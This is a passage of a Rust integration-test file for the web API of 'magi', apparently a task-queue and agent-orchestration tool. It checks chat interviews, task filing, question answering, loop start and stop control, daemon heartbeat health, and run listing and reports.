3097 assert!(missing.json()["error"].is_string(), "{}", missing.body);
3098
3099 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
3101 assert_eq!(
3102 fx.get("/api/questions/nope/asset/diff.svg").await.status,
3103 404
3104 );
3105 }
3106
3107 #[tokio::test]
3108 async fn the_chat_list_is_open_first_and_carries_the_whole_transcript() {
3109 let fx = Fixture::start().await;
3110 assert_eq!(fx.get("/api/health").await.json()["chats_open"], 0);
3111
3112 interview(&fx, "20260903-014455-old1", "filed", Some(&good_draft()));
3113 interview(&fx, "20260903-014456-open", "open", None);
3114
3115 let listed = fx.get("/api/chats").await;
3116 assert_eq!(listed.status, 200, "{}", listed.body);
3117 let chats = listed.json();
3118 assert_eq!(chats.as_array().map(Vec::len), Some(2));
3119 assert_eq!(
3120 chats[0]["id"], "20260903-014456-open",
3121 "an unfinished interview is what the operator came back for: {chats}"
3122 );
3123 assert_eq!(chats[0]["status"], "open");
3124 assert_eq!(chats[0]["turns"][0]["who"], "operator");
3127 assert_eq!(chats[0]["turns"][1]["body"], "Which part is hurting?");
3128 assert_eq!(chats[1]["status"], "filed");
3129
3130 assert_eq!(fx.get("/api/health").await.json()["chats_open"], 1);
3133 }
3134
3135 #[tokio::test]
3136 async fn one_interview_is_readable_by_short_id_and_an_unknown_one_is_a_404() {
3137 let fx = Fixture::start().await;
3138 let id = interview(&fx, "20260903-014455-ab12", "open", None);
3139
3140 let full = fx.get(&format!("/api/chats/{id}")).await;
3141 assert_eq!(full.status, 200, "{}", full.body);
3142 assert_eq!(full.json()["id"], id);
3143 assert_eq!(full.json()["repo"], "/repo/magi");
3144
3145 let short = fx.get("/api/chats/ab12").await;
3147 assert_eq!(short.status, 200, "{}", short.body);
3148 assert_eq!(short.json()["id"], id);
3149
3150 let missing = fx.get("/api/chats/nosuchchat").await;
3151 assert_eq!(missing.status, 404, "{}", missing.body);
3152 assert!(
3153 missing.json()["error"]
3154 .as_str()
3155 .is_some_and(|e| e.contains("chat")),
3156 "the error names what was not found: {}",
3157 missing.body
3158 );
3159 }
3160
3161 #[tokio::test]
3162 async fn filing_a_bad_draft_reports_every_problem_at_once() {
3163 let fx = Fixture::start().await;
3164 let id = interview(&fx, "20260903-014455-ab12", "open", Some("do the thing"));
3165
3166 let res = fx.post(&format!("/api/chats/{id}/file"), None).await;
3167
3168 assert_eq!(res.status, 400, "{}", res.body);
3169 let problems = res.json()["problems"].clone();
3170 let problems = problems.as_array().expect("an array of problems");
3171 assert!(
3176 problems.len() > 1,
3177 "one round trip has to be enough to fix the draft: {}",
3178 res.body
3179 );
3180 assert!(problems.iter().all(|p| p.is_string()), "{}", res.body);
3181 assert!(res.json()["error"].is_string(), "{}", res.body);
3182 assert!(
3183 fx.queue().list().is_empty(),
3184 "a refused draft must not reach the queue"
3185 );
3186
3187 let empty = interview(&fx, "20260903-014456-cd34", "open", None);
3190 let res = fx.post(&format!("/api/chats/{empty}/file"), None).await;
3191 assert_eq!(res.status, 400, "{}", res.body);
3192 assert_eq!(
3193 res.json()["problems"].as_array().map(Vec::len),
3194 Some(1),
3195 "{}",
3196 res.body
3197 );
3198 }
3199
3200 #[tokio::test]
3201 async fn filing_a_good_draft_queues_it_and_answers_with_the_task_id() {
3202 let fx = Fixture::start().await;
3203 let draft = good_draft();
3204 let id = interview(&fx, "20260903-014455-ab12", "open", Some(&draft));
3205
3206 let res = fx.post(&format!("/api/chats/{id}/file"), None).await;
3207
3208 assert_eq!(res.status, 200, "{}", res.body);
3209 let task = res.json()["task"]
3210 .as_str()
3211 .unwrap_or_else(|| panic!("a task id: {}", res.body))
3212 .to_owned();
3213
3214 let queued = fx.queue().get(&task).expect("the task is on disk");
3217 assert_eq!(
3218 queued.instruction, draft,
3219 "the draft reaches the graph verbatim"
3220 );
3221 assert_eq!(queued.repo, PathBuf::from("/repo/magi"));
3222 assert_eq!(
3223 fx.get("/api/queue").await.json()[0]["id"],
3224 task,
3225 "the filed task is the listed one"
3226 );
3227
3228 let after = fx.get(&format!("/api/chats/{id}")).await.json();
3230 assert_eq!(after["task"], task);
3231 assert_eq!(after["status"], "filed");
3232 assert_eq!(fx.get("/api/health").await.json()["chats_open"], 0);
3233 }
3234
3235 #[tokio::test]
3236 async fn a_second_turn_on_a_busy_chat_is_refused_rather_than_interleaved() {
3237 let fx = Fixture::start().await;
3238 let id = interview(&fx, "20260903-014455-ab12", "open", None);
3239 let ui = Ui::new(
3240 fx.queue(),
3241 fx.questions(),
3242 fx.chats(),
3243 fx.runs(),
3244 fx.home.path().to_path_buf(),
3245 PathBuf::from("/repo/magi"),
3246 );
3247
3248 let first = ui.begin_turn(&id).expect("the first turn claims the chat");
3252 let second = ui.begin_turn(&id).expect_err("the second must be refused");
3253 assert_eq!(
3254 second.status,
3255 StatusCode::CONFLICT,
3256 "a double tap on a slow link must not append two half-turns"
3257 );
3258
3259 drop(first);
3263 assert!(
3264 ui.begin_turn(&id).is_ok(),
3265 "the slot has to come back on its own"
3266 );
3267 }
3268
3269 #[tokio::test]
3270 async fn a_turn_with_nothing_in_it_never_reaches_an_agent() {
3271 let fx = Fixture::start().await;
3272 let id = interview(&fx, "20260903-014455-ab12", "open", None);
3273
3274 for body in [r#"{"text":" \n "}"#, r#"{}"#] {
3277 let res = fx.post(&format!("/api/chats/{id}/say"), Some(body)).await;
3278 assert_eq!(res.status, 400, "{body}: {}", res.body);
3279 }
3280 let res = fx.post("/api/chats", Some(r#"{"idea":" "}"#)).await;
3281 assert_eq!(res.status, 400, "{}", res.body);
3282
3283 assert_eq!(
3284 fx.get(&format!("/api/chats/{id}")).await.json()["turns"]
3285 .as_array()
3286 .map(Vec::len),
3287 Some(2),
3288 "nothing above may have appended a turn"
3289 );
3290 }
3291
3292 #[tokio::test]
3293 async fn a_run_with_an_open_question_reads_as_waiting() {
3294 let fx = Fixture::start().await;
3295 let run = "20260902-000000-beef".to_owned();
3296 write_run(&fx.runs(), &run, RunStatus::Implementing);
3297
3298 let before = fx.get("/api/runs").await.json();
3299 assert_eq!(before[0]["waiting"], false, "{before}");
3300
3301 let store = fx.questions();
3302 let mut q = Question::new(
3303 run.clone(),
3304 "implement".to_owned(),
3305 "impl-A".to_owned(),
3306 "Which backend?".to_owned(),
3307 String::new(),
3308 vec!["SQLite".to_owned()],
3309 );
3310 store.put(&mut q).expect("put");
3311
3312 let during = fx.get("/api/runs").await.json();
3313 assert_eq!(during[0]["waiting"], true, "{during}");
3314
3315 q.answer(Answer::Choice("SQLite".to_owned()))
3318 .expect("answer");
3319 store.put(&mut q).expect("put");
3320 let after = fx.get("/api/runs").await.json();
3321 assert_eq!(after[0]["waiting"], false, "{after}");
3322 }
3323
3324 #[tokio::test]
3325 async fn an_open_question_is_listed_and_counted_by_health() {
3326 let fx = Fixture::start().await;
3327 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
3328
3329 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
3330 let listed = fx.get("/api/questions").await.json();
3331 assert_eq!(listed.as_array().expect("array").len(), 1);
3332 assert_eq!(listed[0]["id"], id);
3333 assert_eq!(listed[0]["status"], "open");
3334 assert_eq!(listed[0]["choices"][1], "Redis");
3335 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
3338 }
3339
3340 #[tokio::test]
3341 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
3342 let fx = Fixture::start().await;
3343 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
3344 let path = format!("/api/questions/{id}/answer");
3345
3346 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
3347 assert_eq!(res.status, 200, "{}", res.body);
3348 let body = res.json();
3349 assert_eq!(body["status"], "answered");
3350 assert_eq!(body["answer"]["choice"], "Redis");
3351
3352 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
3356 assert_eq!(again.status, 409, "{}", again.body);
3357 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
3358 }
3359
3360 #[tokio::test]
3361 async fn an_answer_the_question_does_not_offer_is_refused() {
3362 let fx = Fixture::start().await;
3363 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
3364 let path = format!("/api/questions/{id}/answer");
3365
3366 for body in [
3367 r#"{"choice":"Postgres"}"#,
3368 r#"{"text":"whatever you think"}"#,
3369 r#"{"choice":"Redis","text":"both"}"#,
3370 r#"{}"#,
3371 ] {
3372 let res = fx.post(&path, Some(body)).await;
3373 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
3374 assert!(res.json()["error"].is_string(), "{}", res.body);
3375 }
3376 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
3378 }
3379
3380 #[tokio::test]
3381 async fn a_free_text_question_takes_text_and_not_a_choice() {
3382 let fx = Fixture::start().await;
3383 let id = ask(&fx, "What should the flag be called?", &[]);
3384 let path = format!("/api/questions/{id}/answer");
3385
3386 assert_eq!(
3387 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
3388 400
3389 );
3390 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
3391 assert_eq!(res.status, 200, "{}", res.body);
3392 assert_eq!(res.json()["answer"]["text"], "--json");
3393 }
3394
3395 #[tokio::test]
3396 async fn an_unknown_question_is_a_json_404() {
3397 let fx = Fixture::start().await;
3398 let res = fx
3399 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
3400 .await;
3401 assert_eq!(res.status, 404, "{}", res.body);
3402 assert!(res.json()["error"].is_string());
3403 }
3404
3405 #[tokio::test]
3406 async fn a_blank_instruction_is_rejected_and_files_nothing() {
3407 let f = Fixture::start().await;
3408
3409 let res = f
3410 .post("/api/queue", Some(r#"{"instruction":" \n "}"#))
3411 .await;
3412
3413 assert_eq!(res.status, 400);
3414 assert!(
3415 res.json()["error"].as_str().is_some_and(|e| !e.is_empty()),
3416 "a rejection has to say why: {}",
3417 res.body
3418 );
3419 assert!(
3420 f.queue().list().is_empty(),
3421 "a rejected task must not reach the disk"
3422 );
3423 }
3424
3425 #[tokio::test]
3426 async fn a_malformed_body_is_a_bad_request_not_an_unprocessable_entity() {
3427 let f = Fixture::start().await;
3428
3429 let res = f.post("/api/queue", Some("{not json")).await;
3430
3431 assert_eq!(res.status, 400);
3434 }
3435
3436 #[tokio::test]
3437 async fn a_posted_task_is_queued_with_a_title_taken_from_its_instruction() {
3438 let f = Fixture::start().await;
3439
3440 let created = f
3441 .post(
3442 "/api/queue",
3443 Some(
3444 r##"{"instruction":"# Rework the config loader\n\nIt re-reads the file on every lookup"}"##,
3445 ),
3446 )
3447 .await;
3448 assert_eq!(created.status, 201);
3449
3450 let listed = f.get("/api/queue").await;
3451 let tasks = listed.json();
3452 let task = &tasks[0];
3453
3454 assert_eq!(tasks.as_array().map(Vec::len), Some(1));
3455 assert_eq!(task["title"], "Rework the config loader");
3458 assert_eq!(task["source_label"], "human");
3459 assert_eq!(task["status_str"], "queued");
3460 assert_eq!(task["repo"], "/repo/magi", "the server's default repo");
3461 assert_eq!(
3462 task["id"],
3463 created.json()["id"],
3464 "the posted task is the listed one"
3465 );
3466 assert!(
3467 task["instruction"]
3468 .as_str()
3469 .is_some_and(|i| i.starts_with("# Rework the config loader\n\nIt re-reads")),
3470 "the instruction reaches the graph verbatim, markers and all: {}",
3471 task["instruction"]
3472 );
3473 }
3474
3475 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
3477 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
3478 .expect("checkout dir");
3479 }
3480
3481 #[tokio::test]
3482 async fn repos_list_returns_name_and_path_for_every_configured_root() {
3483 let tmp = TempDir::new().expect("tempdir");
3484 let repo = tmp.path().join("repo");
3485 std::fs::create_dir_all(&repo).expect("repo dir");
3486 let root = tmp.path().join("root");
3487 make_checkout(&root, "github.com", "yukimemi", "magi");
3488 std::fs::write(
3489 repo.join("magi.toml"),
3490 format!(
3491 "[repos]\nroots = [{:?}]\n",
3492 root.to_string_lossy().into_owned()
3493 ),
3494 )
3495 .expect("write magi.toml");
3496
3497 let f = Fixture::with_repo(repo).await;
3498 let res = f.get("/api/repos").await;
3499 assert_eq!(res.status, 200, "{}", res.body);
3500 let list = res.json();
3501 let repos = list.as_array().expect("an array");
3502 assert_eq!(repos.len(), 1);
3503 assert_eq!(repos[0]["name"], "yukimemi/magi");
3504 assert!(
3505 repos[0]["path"]
3506 .as_str()
3507 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
3508 "{list}"
3509 );
3510 }
3511
3512 #[tokio::test]
3513 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
3514 let tmp = TempDir::new().expect("tempdir");
3515 let repo = tmp.path().join("repo");
3516 std::fs::create_dir_all(&repo).expect("repo dir");
3517 let root = tmp.path().join("root");
3518 make_checkout(&root, "github.com", "yukimemi", "magi");
3519 std::fs::write(
3520 repo.join("magi.toml"),
3521 format!(
3522 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
3523 root.to_string_lossy().into_owned()
3524 ),
3525 )
3526 .expect("write magi.toml");
3527
3528 let f = Fixture::with_repo(repo).await;
3529 let first = f.get("/api/repos").await;
3530 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
3531
3532 make_checkout(&root, "github.com", "yukimemi", "rvpm");
3535 let second = f.get("/api/repos").await;
3536 assert_eq!(
3537 second.json().as_array().map(Vec::len),
3538 Some(1),
3539 "a fresh cache must not rescan inside the TTL"
3540 );
3541
3542 let refreshed = f.get("/api/repos?refresh=1").await;
3543 assert_eq!(
3544 refreshed.json().as_array().map(Vec::len),
3545 Some(2),
3546 "an explicit refresh must rescan even inside the TTL"
3547 );
3548 }
3549
3550 #[tokio::test]
3551 async fn posting_a_chat_with_an_unknown_from_names_the_id_in_a_4xx() {
3552 let f = Fixture::start().await;
3553 let res = f
3554 .post(
3555 "/api/chats",
3556 Some(r#"{"idea":"same idea, another repo","from":"nosuchchat"}"#),
3557 )
3558 .await;
3559 assert!(res.status >= 400 && res.status < 500, "{}", res.status);
3560 assert!(
3561 res.json()["error"]
3562 .as_str()
3563 .is_some_and(|e| e.contains("nosuchchat")),
3564 "the error names the id that does not exist: {}",
3565 res.body
3566 );
3567 assert!(
3568 f.chats().list().is_empty(),
3569 "a chat must not be created against an unresolvable `from`"
3570 );
3571 }
3572
3573 const MOCK_AGENT_TOML: &str = "[roles]\nplanner = \"mock\"\n\n[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
3590
3591 #[tokio::test]
3592 async fn a_posted_chat_takes_the_given_repo_and_otherwise_keeps_the_servers_own() {
3593 let tmp = TempDir::new().expect("tempdir");
3594 let repo = tmp.path().join("repo");
3595 let other = tmp.path().join("other");
3596 std::fs::create_dir_all(&repo).expect("repo dir");
3597 std::fs::create_dir_all(&other).expect("other repo dir");
3598 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
3602 std::fs::write(other.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
3603
3604 let f = Fixture::with_repo(repo.clone()).await;
3605
3606 let default_res = f
3607 .post("/api/chats", Some(r#"{"idea":"rework the config loader"}"#))
3608 .await;
3609 assert_eq!(default_res.status, 201, "{}", default_res.body);
3610 assert_eq!(
3611 default_res.json()["repo"],
3612 repo.canonicalize().unwrap().display().to_string(),
3613 "omitting `repo` must keep the server's own"
3614 );
3615
3616 let body = format!(
3617 r#"{{"idea":"rework the config loader","repo":{:?}}}"#,
3618 other.to_string_lossy()
3619 );
3620 let explicit_res = f.post("/api/chats", Some(&body)).await;
3621 assert_eq!(explicit_res.status, 201, "{}", explicit_res.body);
3622 assert_eq!(
3623 explicit_res.json()["repo"],
3624 other.canonicalize().unwrap().display().to_string(),
3625 "an explicit `repo` must override the server's own"
3626 );
3627 }
3628
3629 #[tokio::test]
3630 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
3631 let f = Fixture::start().await;
3632 let queue = f.queue();
3633 let mut task = Task::new(
3634 "spent".to_owned(),
3635 "Try again".to_owned(),
3636 PathBuf::from("/repo/magi"),
3637 Source::Human,
3638 );
3639 task.start("20260902-140502-bbbb".to_owned());
3640 task.fail("agent gave up", 9);
3641 queue.put(&mut task).expect("file the task");
3642
3643 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
3644 assert_eq!(held.status, 200);
3645 assert_eq!(held.json()["status_str"], "held");
3646
3647 let released = f
3648 .post(&format!("/api/queue/{}/release", task.id), None)
3649 .await;
3650 assert_eq!(released.status, 200);
3651 assert_eq!(released.json()["status_str"], "queued");
3652 assert_eq!(
3653 released.json()["attempts"],
3654 0,
3655 "release is a real second chance, not an instant re-hold"
3656 );
3657 assert_eq!(
3658 queue.get(&task.id).expect("reload").status,
3659 TaskStatus::Queued,
3660 "the change is on disk, not only in the reply"
3661 );
3662 assert!(
3663 !f.home
3664 .path()
3665 .join("queue")
3666 .join(format!("{}.lock", task.id))
3667 .exists(),
3668 "the claim the mutation took is released again"
3669 );
3670 }
3671
3672 #[tokio::test]
3673 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
3674 let f = Fixture::start().await;
3675 let queue = f.queue();
3676 let mut task = Task::new(
3677 "busy".to_owned(),
3678 "Running right now".to_owned(),
3679 PathBuf::from("/repo/magi"),
3680 Source::Human,
3681 );
3682 queue.put(&mut task).expect("file the task");
3683 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
3684
3685 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
3686
3687 assert_eq!(res.status, 409);
3688 assert_eq!(
3689 queue.get(&task.id).expect("reload").status,
3690 TaskStatus::Queued,
3691 "the refused hold changed nothing"
3692 );
3693 }
3694
3695 #[tokio::test]
3696 async fn unknown_ids_are_json_not_found_on_both_stores() {
3697 let f = Fixture::start().await;
3698
3699 let run = f.get("/api/runs/nosuchrun").await;
3700 let task = f.post("/api/queue/nosuchtask/hold", None).await;
3701
3702 assert_eq!(run.status, 404);
3703 assert_eq!(task.status, 404);
3704 assert!(
3705 run.json()["error"]
3706 .as_str()
3707 .is_some_and(|e| e.contains("run")),
3708 "the error names what was not found: {}",
3709 run.body
3710 );
3711 assert!(
3712 task.json()["error"]
3713 .as_str()
3714 .is_some_and(|e| e.contains("task")),
3715 "the error names what was not found: {}",
3716 task.body
3717 );
3718 }
3719
3720 #[tokio::test]
3721 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
3722 let f = Fixture::start().await;
3723
3724 let missing = f.get("/api/health").await.json();
3725 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
3726
3727 write_daemon(
3728 f.home.path(),
3729 Timestamp::now() - jiff::SignedDuration::from_secs(60),
3730 );
3731 let stale = f.get("/api/health").await.json();
3732 assert_eq!(
3733 stale["daemon"]["running"], false,
3734 "a minute without a heartbeat is a dead daemon, not a busy one"
3735 );
3736 assert!(
3737 stale["daemon"]["stale_for_secs"]
3738 .as_i64()
3739 .is_some_and(|s| s >= 55),
3740 "staleness is reported so the UI can say how long: {stale}"
3741 );
3742
3743 write_daemon(f.home.path(), Timestamp::now());
3744 let fresh = f.get("/api/health").await.json();
3745 assert_eq!(fresh["daemon"]["running"], true);
3746 assert_eq!(fresh["daemon"]["idle"], false);
3747 assert_eq!(fresh["daemon"]["pid"], 4242);
3748 assert_eq!(fresh["daemon"]["completed"], 7);
3749 assert_eq!(fresh["daemon"]["current"]["task"], "20260902-140501-aaaa");
3750 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
3751 }
3752
3753 #[tokio::test]
3754 async fn the_loop_is_not_running_until_something_starts_it() {
3755 let f = Fixture::start().await;
3756
3757 let view = f.get("/api/loop").await.json();
3758 assert_eq!(view["running"], false);
3759 assert_eq!(
3760 view["owned"], false,
3761 "nobody owns a loop that does not exist: {view}"
3762 );
3763 assert_eq!(view["stopping"], false);
3764 assert_eq!(view["last_error"], Value::Null);
3765 assert_eq!(view["daemon"]["running"], false);
3766 assert_eq!(
3767 view["repo"], "/repo/magi",
3768 "the repository a start would use, named before it is started"
3769 );
3770 }
3771
3772 #[tokio::test]
3773 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
3774 let f = Fixture::start().await;
3775
3776 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
3777 assert_eq!(res.status, 200, "{}", res.body);
3778 let view = res.json();
3779 assert_eq!(view["running"], true);
3780 assert_eq!(
3781 view["owned"], true,
3782 "the loop the UI started is the UI's own to stop: {view}"
3783 );
3784 assert_eq!(
3785 view["merge"],
3786 Value::Null,
3787 "no override was given, so each repository's own config decides"
3788 );
3789
3790 let health = f.get("/api/health").await.json();
3794 assert_eq!(health["loop"]["running"], true, "{health}");
3795 assert_eq!(health["loop"]["owned"], true, "{health}");
3796
3797 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
3798 }
3799
3800 #[tokio::test]
3801 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
3802 let f = Fixture::start().await;
3803 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
3804 assert_eq!(first.status, 200, "{}", first.body);
3805
3806 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
3807 assert_eq!(
3808 again.status, 409,
3809 "two loops on one queue race for the same claims: {}",
3810 again.body
3811 );
3812 assert!(
3813 again.json()["error"]
3814 .as_str()
3815 .is_some_and(|e| e.contains("already running the loop")),
3816 "the refusal has to say why: {}",
3817 again.body
3818 );
3819 assert_eq!(
3820 f.get("/api/loop").await.json()["running"],
3821 true,
3822 "and the loop that was already running is untouched by it"
3823 );
3824
3825 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
3826 }
3827
3828 #[tokio::test]
3829 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
3830 let f = Fixture::start().await;
3831 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
3832
3833 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
3834 assert_eq!(
3835 res.status, 200,
3836 "the answer must not wait for the loop: a run in flight is tens of \
3837 minutes and the operator is holding a phone: {}",
3838 res.body
3839 );
3840
3841 let view = settled(&f, |v| v["running"] == false).await;
3842 assert_eq!(view["owned"], false);
3843 assert_eq!(
3844 view["stopping"], false,
3845 "a loop that has stopped is not still stopping: {view}"
3846 );
3847 assert_eq!(
3848 view["last_error"],
3849 Value::Null,
3850 "a loop that was asked to stop did not fail: {view}"
3851 );
3852
3853 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
3856 assert_eq!(twice.status, 200, "{}", twice.body);
3857 }
3858
3859 #[tokio::test]
3860 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
3861 let f = Fixture::start().await;
3862 write_daemon(f.home.path(), Timestamp::now());
3865
3866 let view = f.get("/api/loop").await.json();
3867 assert_eq!(view["running"], false, "not in this process: {view}");
3868 assert_eq!(view["owned"], false, "and not this process's to control");
3869 assert_eq!(
3870 view["daemon"]["running"], true,
3871 "but a loop is alive somewhere, which is what the UI must say"
3872 );
3873 assert_eq!(view["daemon"]["pid"], 4242);
3874
3875 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
3876 let res = f.post("/api/loop", Some(body)).await;
3877 assert_eq!(
3878 res.status, 409,
3879 "neither button may pretend to work on someone else's loop: {}",
3880 res.body
3881 );
3882 assert!(
3883 res.json()["error"]
3884 .as_str()
3885 .is_some_and(|e| e.contains("4242")),
3886 "the refusal has to name the process the operator must go to: {}",
3887 res.body
3888 );
3889 }
3890 assert_eq!(
3891 f.get("/api/loop").await.json()["running"],
3892 false,
3893 "and the refusal started nothing"
3894 );
3895 }
3896
3897 #[tokio::test]
3898 async fn a_stale_status_file_is_not_a_foreign_owner() {
3899 let f = Fixture::start().await;
3900 write_daemon(
3901 f.home.path(),
3902 Timestamp::now() - jiff::SignedDuration::from_secs(60),
3903 );
3904
3905 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
3906 assert_eq!(
3907 res.status, 200,
3908 "a daemon killed a minute ago must not lock the loop out of its \
3909 own home for good: {}",
3910 res.body
3911 );
3912 assert_eq!(res.json()["running"], true);
3913
3914 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
3915 }
3916
3917 #[tokio::test]
3918 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
3919 let f = Fixture::start().await;
3920 let before = f.get("/api/health").await.json()["loop_rev"]
3921 .as_u64()
3922 .expect("a loop revision");
3923
3924 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
3925
3926 let after = f.get("/api/health").await.json()["loop_rev"]
3927 .as_u64()
3928 .expect("a loop revision");
3929 assert!(
3930 after > before,
3931 "the loop is in-process state, so this counter is the only thing \
3932 that tells a second device the first one started it: {before} -> \
3933 {after}"
3934 );
3935
3936 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
3937 }
3938
3939 #[tokio::test]
3940 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
3941 let f = Fixture::with_loop(launch_broken).await;
3942
3943 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
3944 assert_eq!(
3945 res.status, 200,
3946 "starting it is not the failure: {}",
3947 res.body
3948 );
3949
3950 let view = settled(&f, |v| v["last_error"].is_string()).await;
3951 assert_eq!(
3952 view["running"], false,
3953 "a loop that died must not read as running, or the operator has \
3954 nothing to press: {view}"
3955 );
3956 assert_eq!(view["owned"], false);
3957 assert!(
3958 view["last_error"]
3959 .as_str()
3960 .is_some_and(|e| e.contains("read-only file system")),
3961 "the phone is where a loop that died at 3am is visible: {view}"
3962 );
3963
3964 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
3967 assert_eq!(again.status, 200, "{}", again.body);
3968 assert_eq!(
3969 again.json()["last_error"],
3970 Value::Null,
3971 "a fresh start does not keep showing why the last one died"
3972 );
3973 }
3974
3975 #[tokio::test]
3976 async fn a_newer_daemon_status_file_still_renders() {
3977 let f = Fixture::start().await;
3978 std::fs::write(
3981 f.home.path().join("daemon.json"),
3982 serde_json::json!({
3983 "schema": 2,
3984 "updated_at": Timestamp::now().to_string(),
3985 "idle": true,
3986 "surprise": { "nested": [1, 2, 3] },
3987 })
3988 .to_string(),
3989 )
3990 .expect("write daemon.json");
3991
3992 let health = f.get("/api/health").await;
3993
3994 assert_eq!(health.status, 200);
3995 assert_eq!(health.json()["daemon"]["running"], true);
3996 }
3997
3998 #[tokio::test]
3999 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
4000 let f = Fixture::start().await;
4001 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
4002 let broken = f.runs().join("20260902-140502-bad");
4003 std::fs::create_dir_all(&broken).expect("run dir");
4004 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
4005
4006 let list = f.get("/api/runs").await;
4007 let detail = f.get("/api/runs/20260902-140502-bad").await;
4008
4009 assert_eq!(list.status, 200);
4010 let listed = list.json();
4011 let ids: Vec<&str> = listed
4012 .as_array()
4013 .expect("an array")
4014 .iter()
4015 .map(|r| r["id"].as_str().expect("an id"))
4016 .collect();
4017 assert_eq!(
4018 ids,
4019 vec!["20260902-140501-good"],
4020 "one unreadable run must not cost the operator the whole history"
4021 );
4022 assert_eq!(detail.status, 500);
4023 assert!(
4024 detail.json()["error"]
4025 .as_str()
4026 .is_some_and(|e| e.contains("run.json")),
4027 "the failure names the file to look at: {}",
4028 detail.body
4029 );
4030 let health = f.get("/api/health").await;
4034 assert_eq!(health.json()["runs_unreadable"], 1);
4035 }
4036
4037 #[tokio::test]
4038 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
4039 let f = Fixture::start().await;
4040 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
4041
4042 let summary = f.get("/api/runs").await.json();
4043 let row = &summary[0];
4044 assert_eq!(row["short"], "a1b2");
4045 assert_eq!(row["status"], "ready");
4046 assert_eq!(row["done"], true);
4047 assert_eq!(row["title"], "Add a web UI");
4048 assert_eq!(row["repo_name"], "magi");
4049 assert_eq!(row["judges"], 3);
4050 assert_eq!(row["winner"], Value::Null);
4051 assert_eq!(row["reviews"], 0);
4052
4053 let detail = f.get("/api/runs/a1b2").await;
4056 assert_eq!(detail.status, 200);
4057 assert_eq!(detail.json()["base_branch"], "main");
4058 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
4059 }
4060
4061 #[tokio::test]
4062 async fn the_run_list_is_newest_first_and_honours_a_limit() {
4063 let f = Fixture::start().await;
4064 for id in [
4065 "20260902-140501-aaaa",
4066 "20260902-140502-bbbb",
4067 "20260902-140503-cccc",
4068 ] {
4069 write_run(&f.runs(), id, RunStatus::Merged);
4070 }
4071
4072 let all = f.get("/api/runs").await.json();
4073 let capped = f.get("/api/runs?limit=2").await.json();
4074
4075 assert_eq!(all[0]["id"], "20260902-140503-cccc");
4076 assert_eq!(all.as_array().map(Vec::len), Some(3));
4077 assert_eq!(capped.as_array().map(Vec::len), Some(2));
4078 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
4079 }
4080
4081 #[tokio::test]
4082 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
4083 let f = Fixture::start().await;
4084 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
4085
4086 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
4087
4088 assert_eq!(res.status, 200);
4089 assert!(
4090 res.headers
4091 .contains("content-type: text/plain; charset=utf-8"),
4092 "a browser must render it, not download it: {}",
4093 res.headers
4094 );
4095 assert!(
4099 res.body.contains("20260902-140501-a1b2"),
4100 "the report is about the run that was asked for: {}",
4101 res.body
